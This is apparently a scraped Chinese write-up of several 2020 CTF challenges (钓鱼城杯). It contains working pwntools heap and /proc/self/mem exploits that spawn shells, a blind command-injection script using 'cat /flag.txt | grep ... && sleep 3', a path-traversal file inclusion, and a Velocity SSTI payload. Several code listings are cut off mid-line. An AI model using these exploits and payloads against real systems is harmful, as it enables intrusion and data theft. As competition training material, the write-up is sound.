Category - 钓鱼城杯2020

题目提供了一个librpc.a静态库文件,可以用来制作ida的flirt签名库,然后导入目标文件idb方便逆向。
main函数里面看到一个注册handler的地方,注册调用的函数名为"Omae wa mou shindeiru"
title
逆向往下走可以分析出程序比较关键的几个函数,0x6900是检查调用参数的;0x6550是调用函数的handler,主要逻辑都在这个函数里面;0x6bc0是返回消息的函数。

  1. *(_QWORD *)&v44[4] = __readfsqword(0x28u);
  2. if ( *((_QWORD *)a1 + 1) <= 0x4783uLL )
  3. {
  4. v33 = (__m128i *)rpc::this_handler(a1);
  5. sub_6BC0(v33, "nani");
  6. return 666LL;
  7. }
  8. v1 = *(const void **)a1;
  9. v2 = dest;
  10. v3 = (__m128i *)dest;
  11. memcpy(dest, v1, 0x4784uLL);
  12. v4 = dest[0];
  13. if ( dest[0] > 0xA0u )
  14. {
  15. v3 = (__m128i *)rpc::this_handler((rpc *)dest);
  16. sub_6BC0(v3, "nani");
  17. goto LABEL_4;
  18. }
  19. if ( dest[0] )
  20. {
  21. LABEL_4:
  22. option = &dest[1];
  23. end = &dest[3 * (v4 - 1) + 4];
  24. while ( 1 )
  25. {
  26. src1 = (unsigned int)option[1];
  27. dst1 = (unsigned int)option[2];
  28. if ( *option == 1 )
  29. break;
  30. if ( *option == 2 )
  31. {
  32. v43[dst1] = v43[src1]; // oob read
  33. LABEL_6:
  34. option

nc连接服务器,flag以乱序的形式输出。多试几次即可返回正确flag。
图片标题

  1. from pwn import *
  2. for i in range(1000):
  3. print("process "+str(i))
  4. r = remote("119.3.45.222",9999)
  5. demo = r.recv()
  6. if demo[:5]=='flag{'and demo[-7]=='}'and ';' not in demo[:-7]:
  7. print("flag is"+demo)
  8. break
  9. else:
  10. print(demo)

下载完后,全部文件拖进winhex,搜索flag即可
title
flag:569bbabe-e649-11ea-adc1-0242ac120002}

64位程序,传统菜单题,保护全开,libc2.27的环境。

在第3个函数那里存在UAF漏洞

在程序进行free操作时有这个判断,可以通过负数溢出来绕过。

 

因此,思路是这样:

1、在堆上布置一个0x70大小的chunk,和几个0x40的chunk,然后将这些chunk全部free掉,利用UAF改写0x40chunk的fd指针的最低位,使其指向0x70的chunk。

2、得到指向0x70chunk头的chunk,然后将0x70的chunk的size字段改为0xb1,再将这个被改的chunk释放掉,它就会被放到unsortedbin中,得到main_arena的地址。

3、再将该chunk的头的size字段改回0x71,然后部分写fd字段,使其指向stdout(这里需要爆破一下地址)。改变stdout结构体,泄露libc基址。

4、利用tcache的和UAF将freehook的内容改成system的地址,然后free掉一个内容是"/bin/sh"的chunk就能getshell。

 

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
# context.log_level = "debug"
def fire():
#p = process("./pwn")
 p = remote("122.112.225.164", 10001)
 libc = ELF("./libc-2.27.so")
def add(idx, size, content):
 p.sendlineafter("choice :", str(1))
 p.sendlineafter("id:", str(idx))
 p.sendlineafter("size:", str(size))
 p.sendafter("content:\n", content)
def add1(idx, size, content):
 p.sendlineafter("choice :", str(1))
 p.sendlineafter("id:", str(idx))
 p.sendlineafter("size:", str(size))
 p.sendafter("content:", content)
def edit(idx, content):

notepad++打开,看到空格和tab,直接空格转0,tab转1,然后全部转ascii编码获取flag

  1. a ='''0001100110,
  2. 000001101100,
  3. 000001100001,
  4. 000001100111,
  5. 000001111011,
  6. 000001101110,
  7. 000001111001,
  8. 000001110010,
  9. 000001100100,
  10. 000001011000,
  11. 000001011010,
  12. 000001000101,
  13. 000001010011,
  14. 000001000100,
  15. 000001001101,
  16. 000001111010,
  17. 000000110001,
  18. 000001101100,
  19. 000000110101,
  20. 000001001110,
  21. 000000111000,
  22. 000000111000,
  23. 000000110011,
  24. 000000110111,
  25. 000001000001,
  26. 000001011001,
  27. 000001011010,
  28. 000001100010,
  29. 000000110111,
  30. 000001010011,
  31. 000001010100,
  32. 000001010000,
  33. 000001001000,
  34. 000001000011,
  35. 000001110110,
  36. 000001100101,
  37. 000001100111,
  38. 000001111101,'''
  39. b = a.split(",")
  40. st = ''
  41. for i in b:
  42. st+=chr(int(i,2))
  43. print st
  44. print st

flag{nyrdXZESDMz1l5N8837AYZb7STPHCveg}

无回显命令执行,sleep函数验证。尝试发起http请求,dns请求无果。可能服务器不给回连,那就找到flag位置直接爆破。
https://250.ac.cn/2018/12/18/%E6%97%A0%E5%9B%9E%E6%98%BE%E7%9A%84%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E4%B9%8B%E5%88%A9%E7%94%A8/#%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%9C%AA%E8%81%94%E7%BD%91

  1. # -*-coding:utf-8 -*-
  2. import requests
  3. import re
  4. flag_format = re.compile('flag\\{[0-9a-z]{8}-[0-9a-z]{4}-[0-9a-z]{4}-[0-9a-z]{4}-[0-9a-z]{12}\\}')
  5. all_letter = '-\{\}0123456789abcdefghijklmnopqrstuvwxyz;'
  6. alla = '/-_0123456789abcdefghijklmnopqrstuvwxyz;'
  7. lujing = '/'
  8. def get_flag(command):
  9. try:
  10. r = requests.post('http://119.3.37.185/', data={'cmd': command}, timeout=2.5)
  11. except:
  12. return True
  13. return False
  14. if __name__ == '__main__':
  15. flag = 'flag{'
  16. while flag_format.match(flag) == None:
  17. staus = 0
  18. for i in all_letter:
  19. payload = 'cat /flag.txt | grep %s && sleep 3' % (flag + i)
  20. #payload = 'find / -name flag 2>/dev/null | grep %s

title文件包含,首先包含pom.xml看一眼。
title
看到home,ctf和mainclass是Blog那么包含这个路径:../../../../../../../home/ctf/web/src/main/java/Blog.java,发现了源码,进行审计发现存在ssti(现成的漏洞)
title
参考两篇文章:
https://xz.aliyun.com/t/8135#toc-2
https://cloud.tencent.com/developer/article/1532753
就是将title记录日志,但是下次访问会解析执行,存在ssti。直接使用文章内的payload打。
先ls下/tmp目录
payload:%23set(x=rt=x.class.forName(chr=x.class.forName(str=x.class.forName(ex=

可以open、close、seek、read 和 write flag 以外的任意文件,read 和 write 功能调用了malloc和free。首先打开/proc/self/maps泄漏 libc 基地址。然后打开/proc/self/mem,利用 seek 和 write 向 free hook 写入 system 地址,最后 write + "/bin/sh\x00" 字符串 getshell。

  1. #!/usr/bin/env python3
  2. from pwn import *
  3. context(arch="amd64", log_level="debug")
  4. p = remote("119.3.111.133", 6666)
  5. libc = ELF("./libc-2.27.so")
  6. p_sl = lambda x, y : p.sendlineafter(y, x)
  7. def Open(fn, opt):
  8. p_sl('1', "Your choice: ")
  9. p_sl(fn+'\x00', "Filename: ")
  10. p_sl(str(opt), "Option: ")
  11. def Seek(s):
  12. p_sl('3', "Your choice: ")
  13. p_sl(str(s), "Offset: ")
  14. def Close():
  15. p_sl('2', "Your choice: ")
  16. def Read(sz):
  17. p_sl('4', "Your choice: ")
  18. p_sl(str(sz), "Size: ")
  19. def Write(sz, ctx):
  20. p_sl('5', "Your choice: ")
  21. p_sl(str(sz), "Size: ")
  22. p_sl(ctx, "Content: ")
  23. Open("/proc/self/maps", 0)
  24. Read(0x500)
  25. p.recvuntil("[heap]\n")
  26. libc.address = int(p.recvuntil("-", True), 16)
  27. Close()
  28. Open("/proc/self/mem", 1)
  29. Seek(libc.symbols["_

扫描目录发现备份备件index.bak
title
使用mt_rand获取随机数,比较老套的思路了,爆破种子,获取所以随机数就能得到对应lock的key
这里使用php_mt_seed来爆破,先用脚本生成需要输入的信息

  1. $pass_now = "vEUHaY";
  2. $allowable_characters = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ';
  3. $len = strlen($allowable_characters) - 1;
  4. for($j = 0; $j < strlen($pass_now); $j++)
  5. {
  6. for ($i = 0; $i < $len; $i++) {
  7. if($pass_now[$j] == $allowable_characters[$i])
  8. {
  9. echo "$i $i 0 51 ";
  10. break;
  11. }
  12. }
  13. }

用php_mt_seed爆破
title
获取key

  1. mt_srand(718225); echo mt_rand(0,61).",";
  2. a1 = "abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ";
  3. b1 = "1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ"
  4. print(len(a1))
  5. print(len(b1))
  6. print
  7. key1 = "vEUHaY"
  8. aaa = '23,53,29,26,42,53,7,22,29,13,2,61,50,51,34,44'.split(",")
  9. st = ''
  10. for i in aaa:
  11. st += b1[int(i)]
  12. print st

title

flag: flag{6e5b51029a9a9ccd6d6b0f9ala58c494}